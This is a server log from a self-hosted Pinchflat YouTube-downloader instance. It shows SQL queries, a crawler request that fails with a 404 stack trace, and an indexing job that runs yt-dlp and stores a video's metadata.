/api/v1/videos 16:19:53.116 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 16:19:53.133 [debug] QUERY OK source="media_items" db=16.8ms idle=1163.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 16:19:53.186 [info] Sent 200 in 70ms 16:19:57.143 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:00.726 [info] {"source":"oban","duration":338,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:20:01.439 [info] GET /sources/1/sync_files_on_disk 16:20:01.439 [debug] QUERY OK source="settings" db=0.1ms idle=1328.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:01.439 [debug] QUERY OK source="settings" db=0.0ms idle=713.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:01.439 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:20:01.439 [error] #PID<0.10796.0> running PinchflatWeb.Endpoint (connection #PID<0.10795.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/1/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10795.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/sync_files_on_disk", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 54138}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10796.0>, params: %{}, path_info: ["sources", "1", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/1/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVGMH_QXXQbN0kAAhLC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10795.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/sync_files_on_disk", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 54138}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10795.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/sync_files_on_disk", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 54138}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10796.0>, params: %{}, path_info: ["sources", "1", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"} (truncated) 16:20:25.598 [info] GET / 16:20:25.598 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 16:20:25.598 [debug] QUERY OK source="settings" db=0.0ms idle=645.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:25.598 [debug] QUERY OK source="media_profiles" db=0.0ms idle=645.6ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 16:20:25.598 [debug] QUERY OK source="sources" db=0.0ms idle=645.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 16:20:25.601 [debug] QUERY OK source="media_items" db=2.9ms idle=645.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:20:25.602 [debug] QUERY OK source="media_items" db=0.3ms idle=466.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:20:25.602 [debug] QUERY OK source="settings" db=0.0ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:25.602 [debug] QUERY OK source="settings" db=0.0ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:25.602 [debug] QUERY OK source="settings" db=0.0ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:25.603 [debug] QUERY OK source="media_items" db=0.2ms idle=1.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:20:25.603 [debug] QUERY OK source="media_items" db=0.3ms idle=1.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 16:20:25.603 [debug] QUERY OK source="sources" db=0.0ms idle=1.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [1, 2, 3] 16:20:25.605 [debug] QUERY OK source="media_items" db=1.3ms idle=1.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 16:20:25.608 [debug] QUERY OK source="media_items" db=2.6ms idle=2.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 16:20:25.608 [debug] QUERY OK source="tasks" db=0.1ms idle=5.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:20:25.609 [info] Sent 200 in 10ms 16:20:27.144 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:54.171 [info] {"args":{"id":2},"id":702,"meta":{},"system_time":1784910054171581767,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:20:54.173 [debug] QUERY OK source="sources" db=2.0ms queue=0.1ms idle=1218.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:20:54.174 [debug] QUERY OK source="tasks" db=2.1ms idle=1218.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 16:20:54.175 [debug] QUERY OK source="sources" db=1.7ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:20:54.176 [debug] QUERY OK source="settings" db=1.9ms idle=1009.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:54.176 [debug] QUERY OK source="media_profiles" db=0.0ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:20:54.176 [debug] QUERY OK source="settings" db=0.0ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:54.176 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 16:20:54.462 [debug] Media ids fetched from RSS: ["9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 16:20:54.463 [debug] QUERY OK source="media_items" db=0.2ms idle=288.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 16:20:54.463 [debug] QUERY OK source="settings" db=0.0ms idle=287.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:54.463 [debug] QUERY OK source="settings" db=0.0ms idle=287.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:54.463 [debug] Running yt-dlp command for action: get_media_attributes 16:20:54.487 [debug] QUERY OK source="settings" db=0.1ms idle=311.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:54.487 [debug] QUERY OK source="settings" db=0.0ms idle=311.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:54.487 [debug] QUERY OK source="settings" db=0.0ms idle=24.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:20:54.488 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9kAA8XDQJQc --simulate --skip-download --output /downloads/Banana Ballistics/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/cd/53/cd53c4df2727e054ee251de9393a06e42a34d3543a9437e15f213542758383db.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:20:57.145 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:57.151 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9kAA8XDQJQc --simulate --skip-download --output /downloads/Banana Ballistics/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/cd/53/cd53c4df2727e054ee251de9393a06e42a34d3543a9437e15f213542758383db.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 16:20:57.151 [debug] QUERY OK source="sources" db=0.0ms idle=1198.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:20:57.151 [debug] QUERY OK source="media_items" db=0.1ms idle=1198.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-24 16:00:24Z], 2] 16:20:57.475 [debug] QUERY OK source="media_items" db=323.7ms idle=1199.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Play War Thunder now with my links, and get a massive, free bonus pack including vehicles, boosters and more on PC and consoles! PC: https://playwt.link/bananaballistics | Mobile: https://wtm.game/bananaballistics\n\nThis is most likely the most insane and devastating 45 ACP load ever created. All testing was done at 7 yards. Thanks for watching!\n\nBanana Ballistics SHIRTS an STICKERS: https://www.bunkerbranding.com/pages/banana-ballistics \n\nPatreon: https://www.patreon.com/BananaBallistics\n\nEMACS “Banana8” = 8%\n\n*These tests are meant for entertainment and educational purposes only. Do not try any of these tests at home! Always verify your firearm is rated for and can safely fire any ammunition that you intend to use. Always follow standard safety procedures when handling Any firearm. All testing was conducted on private property. I receive a commission from some of the links/codes above.", "The Most Brutal 45 ACP Ever Created", "47e5e455-711f-4196-8550-e3661a8637ba", 762, false, "9kAA8XDQJQc", "https://www.youtube.com/watch?v=9kAA8XDQJQc", 0, "/downloads/Banana Ballistics/2026-07-24 The Most Brutal 45 ACP Ever Created/The Most Brutal 45 ACP Ever Created [9kAA8XDQJQc].mp4", false, false, false, 2, [], 99, ~U[2026-07-24 16:00:24Z], ~U[2026-07-24 16:20:57Z], ~U[2026-07-24 16:20:57Z], "Play War Thunder now with my links, and get a massive, free bonus pack including vehicles, boosters and more on PC and consoles! PC: https://playwt.link/bananaballistics | Mobile: https://wtm.game/bananaballistics\n\nThis is most likely the most insane and devastating 45 ACP load ever created. All testing was done at 7 yards. Thanks for watching!\n\nBanana Ballistics SHIRTS an STICKERS: https://www.bunkerbranding.com/pages/banana-ballistics \n\nPatreon: https://www.patreon.com/BananaBallistics\n\nEMACS “Banana8” = 8%\n\n*These tests are meant for entertainment and educational purposes only. Do not try any of these tests at home! Always verify your firearm is rated for and can safely fire any ammunition that you intend to use. Always follow standard safety procedures when handling Any firearm. All testing was conducted on private property. I receive a commission from some of the links/codes above.", "The Most Brutal 45 ACP Ever Created", 762, false, "9kAA8XDQJQc", "https://www.youtube.com/watch?v=9kAA8XDQJQc", "/downloads/Banana Ballistics/2026-07-24 The Most Brutal 45 ACP Ever Created/The Most Brutal 45 ACP Ever Created [9kAA8XDQJQc].mp4", false, 2, ~U[2026-07-24 16:00:24Z]] 16:20:57.476 [debug] QUERY OK source="sources" db=0.1ms idle=330.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", 